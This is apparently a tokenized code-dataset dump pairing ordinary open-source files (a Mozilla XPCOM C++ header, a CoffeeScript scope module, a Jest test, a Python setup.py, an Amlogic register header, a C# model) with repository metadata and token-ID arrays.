[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM e:/xr19rel/WINNT_5.2_Depend/mozilla/rdf/base/idl/nsIRDFXMLSink.idl */ #ifndef __gen_nsIRDFXMLSink_h__ #define __gen_nsIRDFXMLSink_h__ #ifndef __gen_nsISupports_h__ #include "nsISupports.h" #endif /* For IDL files that don't want to include root IDL files. */ #ifndef NS_NO_VTABLE #define NS_NO_VTABLE #endif class nsIAtom; class nsString; class nsIRDFXMLSink; /* forward declaration */ /* starting interface: nsIRDFXMLSinkObserver */ #define NS_IRDFXMLSINKOBSERVER_IID_STR "eb1a5d30-ab33-11d2-8ec6-00805f29f370" #define NS_IRDFXMLSINKOBSERVER_IID \ {0xeb1a5d30, 0xab33, 0x11d2, \ { 0x8e, 0xc6, 0x00, 0x80, 0x5f, 0x29, 0xf3, 0x70 }} /** * An observer that is notified as progress is made on the load * of an RDF/XML document in an <code>nsIRDFXMLSink</code>. */ class NS_NO_VTABLE NS_SCRIPTABLE nsIRDFXMLSinkObserver : public nsISupports { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_IRDFXMLSINKOBSERVER_IID) /** * Called when the load begins. * @param aSink the RDF/XML sink on which the load is beginning. */ /* void onBeginLoad (in nsIRDFXMLSink aSink); */ NS_SCRIPTABLE NS_IMETHOD OnBeginLoad(nsIRDFXMLSink *aSink) = 0; /** * Called when the load is suspended (e.g., for network quantization). * @param aSink the RDF/XML sink that is being interrupted. */ /* void onInterrupt (in nsIRDFXMLSink aSink); */ NS_SCRIPTABLE NS_IMETHOD OnInterrupt(nsIRDFXMLSink *aSink) = 0; /** * Called when a suspended load is resuming. * @param aSink the RDF/XML sink that is resuming. */ /* void onResume (in nsIRDFXMLSink aSink); */ NS_SCRIPTABLE NS_IMETHOD OnResume(nsIRDFXMLSink *aSink) = 0; /** * Called when an RDF/XML load completes successfully. * @param aSink the RDF/XML sink that has finished loading. */ /* void onEndLoad (in nsIRDFXMLSink aSink); */ NS_SCRIPTABLE NS_IMETHOD OnEndLoad(nsIRDFXMLSink *aSink) = 0; /** * Called when an error occurs during the load * @param aSink the RDF/XML sink in which the error occurred * @param aStatus the networking result code * @param aErrorMsg an error message, if applicable */ /* void onError (in nsIRDFXMLSink aSink, in nsresult aStatus, in wstring aErrorMsg); */ NS_SCRIPTABLE NS_IMETHOD OnError(nsIRDFXMLSink *aSink, nsresult aStatus, const PRUnichar *aErrorMsg) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsIRDFXMLSinkObserver, NS_IRDFXMLSINKOBSERVER_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSIRDFXMLSINKOBSERVER \ NS_SCRIPTABLE NS_IMETHOD OnBeginLoad(nsIRDFXMLSink *aSink); \ NS_SCRIPTABLE NS_IMETHOD OnInterrupt(nsIRDFXMLSink *aSink); \ NS_SCRIPTABLE NS_IMETHOD OnResume(nsIRDFXMLSink *aSink); \ NS_SCRIPTABLE NS_IMETHOD OnEndLoad(nsIRDFXMLSink *aSink); \ NS_SCRIPTABLE NS_IMETHOD OnError(nsIRDFXMLSink *aSink, nsresult aStatus, const PRUnichar *aErrorMsg); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSIRDFXMLSINKOBSERVER(_to) \ NS_SCRIPTABLE NS_IMETHOD OnBeginLoad(nsIRDFXMLSink *aSink) { return _to OnBeginLoad(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnInterrupt(nsIRDFXMLSink *aSink) { return _to OnInterrupt(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnResume(nsIRDFXMLSink *aSink) { return _to OnResume(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnEndLoad(nsIRDFXMLSink *aSink) { return _to OnEndLoad(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnError(nsIRDFXMLSink *aSink, nsresult aStatus, const PRUnichar *aErrorMsg) { return _to OnError(aSink, aStatus, aErrorMsg); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSIRDFXMLSINKOBSERVER(_to) \ NS_SCRIPTABLE NS_IMETHOD OnBeginLoad(nsIRDFXMLSink *aSink) { return !_to ? NS_ERROR_NULL_POINTER : _to->OnBeginLoad(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnInterrupt(nsIRDFXMLSink *aSink) { return !_to ? NS_ERROR_NULL_POINTER : _to->OnInterrupt(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnResume(nsIRDFXMLSink *aSink) { return !_to ? NS_ERROR_NULL_POINTER : _to->OnResume(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnEndLoad(nsIRDFXMLSink *aSink) { return !_to ? NS_ERROR_NULL_POINTER : _to->OnEndLoad(aSink); } \ NS_SCRIPTABLE NS_IMETHOD OnError(nsIRDFXMLSink *aSink, nsresult aStatus, const PRUnichar *aErrorMsg) { return !_to ? NS_ERROR_NULL_POINTER : _to->OnError(aSink, aStatus, aErrorMsg); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsRDFXMLSinkObserver : public nsIRDFXMLSinkObserver { public: NS_DECL_ISUPPORTS NS_DECL_NSIRDFXMLSINKOBSERVER nsRDFXMLSinkObserver(); private: ~nsRDFXMLSinkObserver(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsRDFXMLSinkObserver, nsIRDFXMLSinkObserver) nsRDFXMLSinkObserver::nsRDFXMLSinkObserver() { /* member initializers and constructor code */ } nsRDFXMLSinkObserver::~nsRDFXMLSinkObserver() { /* destructor code */ } /* void onBeginLoad (in nsIRDFXMLSink aSink); */ NS_IMETHODIMP nsRDFXMLSinkObserver::OnBeginLoad(nsIRDFXMLSink *aSink) { return NS_ERROR_NOT_IMPLEMENTED; } /* void onInterrupt (in nsIRDFXMLSink aSink); */ NS_IMETHODIMP nsRDFXMLSinkObserver::OnInterrupt(nsIRDFXMLSink *aSink) { return NS_ERROR_NOT_IMPLEMENTED; } /* void onResume (in nsIRDFXMLSink aSink); */ NS_IMETHODIMP nsRDFXMLSinkObserver::OnResume(nsIRDFXMLSink *aSink) { return NS_ERROR_NOT_IMPLEMENTED; } /* void onEndLoad (in nsIRDFXMLSink aSink); */ NS_IMETHODIMP nsRDFXMLSinkObserver::OnEndLoad(nsIRDFXMLSink *aSink) { return NS_ERROR_NOT_IMPLEMENTED; } /* void onError (in nsIRDFXMLSink aSink, in nsresult aStatus, in wstring aErrorMsg); */ NS_IMETHODIMP nsRDFXMLSinkObserver::OnError(nsIRDFXMLSink *aSink, nsresult aStatus, const PRUnichar *aErrorMsg) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif /* starting interface: nsIRDFXMLSink */ #define NS_IRDFXMLSINK_IID_STR "eb1a5d31-ab33-11d2-8ec6-00805f29f370" #define NS_IRDFXMLSINK_IID \ {0xeb1a5d31, 0xab33, 0x11d2, \ { 0x8e, 0xc6, 0x00, 0x80, 0x5f, 0x29, 0xf3, 0x70 }} class NS_NO_VTABLE NS_SCRIPTABLE nsIRDFXMLSink : public nsISupports { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_IRDFXMLSINK_IID) /** * A "sink" that receives and processes RDF/XML. This interface is used * by the RDF/XML parser. */ /** * Set to <code>true</code> if the sink is read-only and cannot * be modified */ /* attribute boolean readOnly; */ NS_SCRIPTABLE NS_IMETHOD GetReadOnly(PRBool *aReadOnly) = 0; NS_SCRIPTABLE NS_IMETHOD SetReadOnly(PRBool aReadOnly) = 0; /** * Initiate the RDF/XML load. */ /* void beginLoad (); */ NS_SCRIPTABLE NS_IMETHOD BeginLoad(void) = 0; /** * Suspend the RDF/XML load. */ /* void interrupt (); */ NS_SCRIPTABLE NS_IMETHOD Interrupt(void) = 0; /** * Resume the RDF/XML load. */ /* void resume (); */ NS_SCRIPTABLE NS_IMETHOD Resume(void) = 0; /** * Complete the RDF/XML load. */ /* void endLoad (); */ NS_SCRIPTABLE NS_IMETHOD EndLoad(void) = 0; /** * Add namespace information to the RDF/XML sink. * @param aPrefix the namespace prefix * @param aURI the namespace URI */ /* [noscript] void addNameSpace (in nsIAtomPtr aPrefix, [const] in nsStringRef aURI); */ NS_IMETHOD AddNameSpace(nsIAtom * aPrefix, const nsString & aURI) = 0; /** * Add an observer that will be notified as the RDF/XML load * progresses. * <p> * * Note that the sink will acquire a strong reference to the * observer, so care should be taken to avoid cyclical references * that cannot be released (i.e., if the observer holds a * reference to the sink, it should be sure that it eventually * clears the reference). * * @param aObserver the observer to add to the sink's set of * load observers. */ /* void addXMLSinkObserver (in nsIRDFXMLSinkObserver aObserver); */ NS_SCRIPTABLE NS_IMETHOD AddXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) = 0; /** * Remove an observer from the sink's set of observers. * @param aObserver the observer to remove. */ /* void removeXMLSinkObserver (in nsIRDFXMLSinkObserver aObserver); */ NS_SCRIPTABLE NS_IMETHOD RemoveXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsIRDFXMLSink, NS_IRDFXMLSINK_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSIRDFXMLSINK \ NS_SCRIPTABLE NS_IMETHOD GetReadOnly(PRBool *aReadOnly); \ NS_SCRIPTABLE NS_IMETHOD SetReadOnly(PRBool aReadOnly); \ NS_SCRIPTABLE NS_IMETHOD BeginLoad(void); \ NS_SCRIPTABLE NS_IMETHOD Interrupt(void); \ NS_SCRIPTABLE NS_IMETHOD Resume(void); \ NS_SCRIPTABLE NS_IMETHOD EndLoad(void); \ NS_IMETHOD AddNameSpace(nsIAtom * aPrefix, const nsString & aURI); \ NS_SCRIPTABLE NS_IMETHOD AddXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver); \ NS_SCRIPTABLE NS_IMETHOD RemoveXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSIRDFXMLSINK(_to) \ NS_SCRIPTABLE NS_IMETHOD GetReadOnly(PRBool *aReadOnly) { return _to GetReadOnly(aReadOnly); } \ NS_SCRIPTABLE NS_IMETHOD SetReadOnly(PRBool aReadOnly) { return _to SetReadOnly(aReadOnly); } \ NS_SCRIPTABLE NS_IMETHOD BeginLoad(void) { return _to BeginLoad(); } \ NS_SCRIPTABLE NS_IMETHOD Interrupt(void) { return _to Interrupt(); } \ NS_SCRIPTABLE NS_IMETHOD Resume(void) { return _to Resume(); } \ NS_SCRIPTABLE NS_IMETHOD EndLoad(void) { return _to EndLoad(); } \ NS_IMETHOD AddNameSpace(nsIAtom * aPrefix, const nsString & aURI) { return _to AddNameSpace(aPrefix, aURI); } \ NS_SCRIPTABLE NS_IMETHOD AddXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return _to AddXMLSinkObserver(aObserver); } \ NS_SCRIPTABLE NS_IMETHOD RemoveXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return _to RemoveXMLSinkObserver(aObserver); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSIRDFXMLSINK(_to) \ NS_SCRIPTABLE NS_IMETHOD GetReadOnly(PRBool *aReadOnly) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetReadOnly(aReadOnly); } \ NS_SCRIPTABLE NS_IMETHOD SetReadOnly(PRBool aReadOnly) { return !_to ? NS_ERROR_NULL_POINTER : _to->SetReadOnly(aReadOnly); } \ NS_SCRIPTABLE NS_IMETHOD BeginLoad(void) { return !_to ? NS_ERROR_NULL_POINTER : _to->BeginLoad(); } \ NS_SCRIPTABLE NS_IMETHOD Interrupt(void) { return !_to ? NS_ERROR_NULL_POINTER : _to->Interrupt(); } \ NS_SCRIPTABLE NS_IMETHOD Resume(void) { return !_to ? NS_ERROR_NULL_POINTER : _to->Resume(); } \ NS_SCRIPTABLE NS_IMETHOD EndLoad(void) { return !_to ? NS_ERROR_NULL_POINTER : _to->EndLoad(); } \ NS_IMETHOD AddNameSpace(nsIAtom * aPrefix, const nsString & aURI) { return !_to ? NS_ERROR_NULL_POINTER : _to->AddNameSpace(aPrefix, aURI); } \ NS_SCRIPTABLE NS_IMETHOD AddXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return !_to ? NS_ERROR_NULL_POINTER : _to->AddXMLSinkObserver(aObserver); } \ NS_SCRIPTABLE NS_IMETHOD RemoveXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return !_to ? NS_ERROR_NULL_POINTER : _to->RemoveXMLSinkObserver(aObserver); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsRDFXMLSink : public nsIRDFXMLSink { public: NS_DECL_ISUPPORTS NS_DECL_NSIRDFXMLSINK nsRDFXMLSink(); private: ~nsRDFXMLSink(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsRDFXMLSink, nsIRDFXMLSink) nsRDFXMLSink::nsRDFXMLSink() { /* member initializers and constructor code */ } nsRDFXMLSink::~nsRDFXMLSink() { /* destructor code */ } /* attribute boolean readOnly; */ NS_IMETHODIMP nsRDFXMLSink::GetReadOnly(PRBool *aReadOnly) { return NS_ERROR_NOT_IMPLEMENTED; } NS_IMETHODIMP nsRDFXMLSink::SetReadOnly(PRBool aReadOnly) { return NS_ERROR_NOT_IMPLEMENTED; } /* void beginLoad (); */ NS_IMETHODIMP nsRDFXMLSink::BeginLoad() { return NS_ERROR_NOT_IMPLEMENTED; } /* void interrupt (); */ NS_IMETHODIMP nsRDFXMLSink::Interrupt() { return NS_ERROR_NOT_IMPLEMENTED; } /* void resume (); */ NS_IMETHODIMP nsRDFXMLSink::Resume() { return NS_ERROR_NOT_IMPLEMENTED; } /* void endLoad (); */ NS_IMETHODIMP nsRDFXMLSink::EndLoad() { return NS_ERROR_NOT_IMPLEMENTED; } /* [noscript] void addNameSpace (in nsIAtomPtr aPrefix, [const] in nsStringRef aURI); */ NS_IMETHODIMP nsRDFXMLSink::AddNameSpace(nsIAtom * aPrefix, const nsString & aURI) { return NS_ERROR_NOT_IMPLEMENTED; } /* void addXMLSinkObserver (in nsIRDFXMLSinkObserver aObserver); */ NS_IMETHODIMP nsRDFXMLSink::AddXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return NS_ERROR_NOT_IMPLEMENTED; } /* void removeXMLSinkObserver (in nsIRDFXMLSinkObserver aObserver); */ NS_IMETHODIMP nsRDFXMLSink::RemoveXMLSinkObserver(nsIRDFXMLSinkObserver *aObserver) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif #endif /* __gen_nsIRDFXMLSink_h__ */
nikgoodley-ibboost/forklabs-javaxpcom
tools/xulrunner-1.9.0.13-sdk/include/rdf/nsIRDFXMLSink.h
C
gpl-2.0
13,801
[ 30522, 1013, 1008, 1008, 2079, 2025, 10086, 1012, 2023, 5371, 2003, 7013, 2013, 1041, 1024, 1013, 1060, 2099, 16147, 16570, 1013, 2663, 3372, 1035, 1019, 1012, 1016, 1035, 12530, 1013, 9587, 5831, 4571, 1013, 16428, 2546, 1013, 2918, 1013, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
(function() { var Scope, extend, last, _ref; _ref = require('./helpers'), extend = _ref.extend, last = _ref.last; exports.Scope = Scope = (function() { Scope.root = null; function Scope(parent, expressions, method) { this.parent = parent; this.expressions = expressions; this.method = method; this.variables = [ { name: 'arguments', type: 'arguments' } ]; this.positions = {}; if (!this.parent) Scope.root = this; } Scope.prototype.add = function(name, type, immediate) { if (this.shared && !immediate) return this.parent.add(name, type, immediate); if (Object.prototype.hasOwnProperty.call(this.positions, name)) { return this.variables[this.positions[name]].type = type; } else { return this.positions[name] = this.variables.push({ name: name, type: type }) - 1; } }; Scope.prototype.find = function(name, options) { if (this.check(name, options)) return true; this.add(name, 'var'); return false; }; Scope.prototype.parameter = function(name) { if (this.shared && this.parent.check(name, true)) return; return this.add(name, 'param'); }; Scope.prototype.check = function(name, immediate) { var found, _ref2; found = !!this.type(name); if (found || immediate) return found; return !!((_ref2 = this.parent) != null ? _ref2.check(name) : void 0); }; Scope.prototype.temporary = function(name, index) { if (name.length > 1) { return '_' + name + (index > 1 ? index : ''); } else { return '_' + (index + parseInt(name, 36)).toString(36).replace(/\d/g, 'a'); } }; Scope.prototype.type = function(name) { var v, _i, _len, _ref2; _ref2 = this.variables; for (_i = 0, _len = _ref2.length; _i < _len; _i++) { v = _ref2[_i]; if (v.name === name) return v.type; } return null; }; Scope.prototype.freeVariable = function(name, reserve) { var index, temp; if (reserve == null) reserve = true; index = 0; while (this.check((temp = this.temporary(name, index)))) { index++; } if (reserve) this.add(temp, 'var', true); return temp; }; Scope.prototype.assign = function(name, value) { this.add(name, { value: value, assigned: true }, true); return this.hasAssignments = true; }; Scope.prototype.hasDeclarations = function() { return !!this.declaredVariables().length; }; Scope.prototype.declaredVariables = function() { var realVars, tempVars, v, _i, _len, _ref2; realVars = []; tempVars = []; _ref2 = this.variables; for (_i = 0, _len = _ref2.length; _i < _len; _i++) { v = _ref2[_i]; if (v.type === 'var') { (v.name.charAt(0) === '_' ? tempVars : realVars).push(v.name); } } return realVars.sort().concat(tempVars.sort()); }; Scope.prototype.assignedVariables = function() { var v, _i, _len, _ref2, _results; _ref2 = this.variables; _results = []; for (_i = 0, _len = _ref2.length; _i < _len; _i++) { v = _ref2[_i]; if (v.type.assigned) _results.push("" + v.name + " = " + v.type.value); } return _results; }; return Scope; })(); }).call(this);
tmad4000/ideamesh
node_modules/coffee-script/lib/coffee-script/scope.js
JavaScript
gpl-3.0
3,584
[ 30522, 1006, 3853, 1006, 1007, 1063, 13075, 9531, 1010, 7949, 1010, 2197, 1010, 1035, 25416, 1025, 1035, 25416, 1027, 5478, 1006, 1005, 1012, 1013, 2393, 2545, 1005, 1007, 1010, 7949, 1027, 1035, 25416, 1012, 7949, 1010, 2197, 1027, 1035, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import { defaultAction, } from '../actions'; import { DEFAULT_ACTION, } from '../constants'; describe('Marginals actions', () => { describe('Default Action', () => { it('has a type of DEFAULT_ACTION', () => { const expected = { type: DEFAULT_ACTION, }; expect(defaultAction()).toEqual(expected); }); }); });
brainsandspace/ship
app/containers/Marginals/tests/actions.test.js
JavaScript
mit
352
[ 30522, 12324, 1063, 12398, 18908, 3258, 1010, 1065, 2013, 1005, 1012, 1012, 1013, 4506, 1005, 1025, 12324, 1063, 12398, 1035, 2895, 1010, 1065, 2013, 1005, 1012, 1012, 1013, 5377, 2015, 1005, 1025, 6235, 1006, 1005, 14785, 2015, 4506, 1005,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
""" This module instructs the setuptools to setpup this package properly :copyright: (c) 2016 by Mehdy Khoshnoody. :license: GPLv3, see LICENSE for more details. """ import os from distutils.core import setup setup( name='pyeez', version='0.1.0', packages=['pyeez'], classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Topic :: Software Development :: Libraries :: Python Modules', 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], keywords='terminal console', url='https://github.com/mehdy/pyeez', license='GPLv3', author='Mehdy Khoshnoody', author_email='me@mehdy.net', description='A micro-framework to create console-based applications like' 'htop, vim and etc' )
mehdy/pyeez
setup.py
Python
gpl-2.0
1,167
[ 30522, 1000, 1000, 1000, 2023, 11336, 16021, 18300, 2015, 1996, 16437, 3406, 27896, 2000, 2275, 14289, 2361, 2023, 7427, 7919, 1024, 9385, 1024, 1006, 1039, 1007, 2355, 2011, 2033, 14945, 2100, 1047, 26643, 3630, 7716, 2100, 1012, 1024, 610...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * drivers/amlogic/amports/arch/regs/hhi_regs.h * * Copyright (C) 2015 Amlogic, Inc. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * */ #ifndef HHI_REGS_HEADER_ #define HHI_REGS_HEADER_ #define HHI_GCLK_MPEG0 0x1050 #define HHI_GCLK_MPEG1 0x1051 #define HHI_GCLK_MPEG2 0x1052 #define HHI_GCLK_OTHER 0x1054 #define HHI_GCLK_AO 0x1055 #define HHI_VID_CLK_DIV 0x1059 #define HHI_MPEG_CLK_CNTL 0x105d #define HHI_AUD_CLK_CNTL 0x105e #define HHI_VID_CLK_CNTL 0x105f #define HHI_AUD_CLK_CNTL2 0x1064 /*add from M8m2*/ #define HHI_VID_CLK_CNTL2 0x1065 /**/ #define HHI_VID_DIVIDER_CNTL 0x1066 #define HHI_SYS_CPU_CLK_CNTL 0x1067 #define HHI_MALI_CLK_CNTL 0x106c #define HHI_MIPI_PHY_CLK_CNTL 0x106e #define HHI_VPU_CLK_CNTL 0x106f #define HHI_OTHER_PLL_CNTL 0x1070 #define HHI_OTHER_PLL_CNTL2 0x1071 #define HHI_OTHER_PLL_CNTL3 0x1072 #define HHI_HDMI_CLK_CNTL 0x1073 #define HHI_DEMOD_CLK_CNTL 0x1074 #define HHI_SATA_CLK_CNTL 0x1075 #define HHI_ETH_CLK_CNTL 0x1076 #define HHI_CLK_DOUBLE_CNTL 0x1077 #define HHI_VDEC_CLK_CNTL 0x1078 #define HHI_VDEC2_CLK_CNTL 0x1079 /*add from M8M2*/ #define HHI_VDEC3_CLK_CNTL 0x107a #define HHI_VDEC4_CLK_CNTL 0x107b #endif
wetek-enigma/linux-wetek-3.14.y
drivers/amlogic/amports/arch/regs/hhi_regs.h
C
gpl-2.0
1,664
[ 30522, 1013, 1008, 1008, 6853, 1013, 2572, 27179, 1013, 23713, 11589, 2015, 1013, 7905, 1013, 19723, 2015, 1013, 1044, 4048, 1035, 19723, 2015, 1012, 30524, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1008, 1996, 2489, 4007...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Media; using Microsoft.WindowsAzure.Storage.Table; namespace QLogBrowser.Models { public class QLog : TableEntity { public long Id { get; set; } public string Message { get; set; } public string Area { get; set; } public string AreaColor { get; set; } public string ThreadId { get; set; } public string SessionId { get; set; } public string UserAgent { get; set; } public string UserHost { get; set; } public string Class { get; set; } public string Method { get; set; } public string InstanceId { get; set; } public string DeploymentId { get; set; } public DateTime CreatedOn { get; set; } } }
sobanieca/QLog
Source/QLogBrowser/Models/QLog.cs
C#
mit
822
[ 30522, 2478, 2291, 1025, 2478, 2291, 1012, 6407, 1012, 12391, 1025, 2478, 2291, 1012, 11409, 4160, 1025, 2478, 2291, 1012, 3793, 1025, 2478, 2291, 1012, 3645, 1012, 2865, 1025, 2478, 7513, 1012, 3645, 10936, 5397, 1012, 5527, 1012, 2795, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
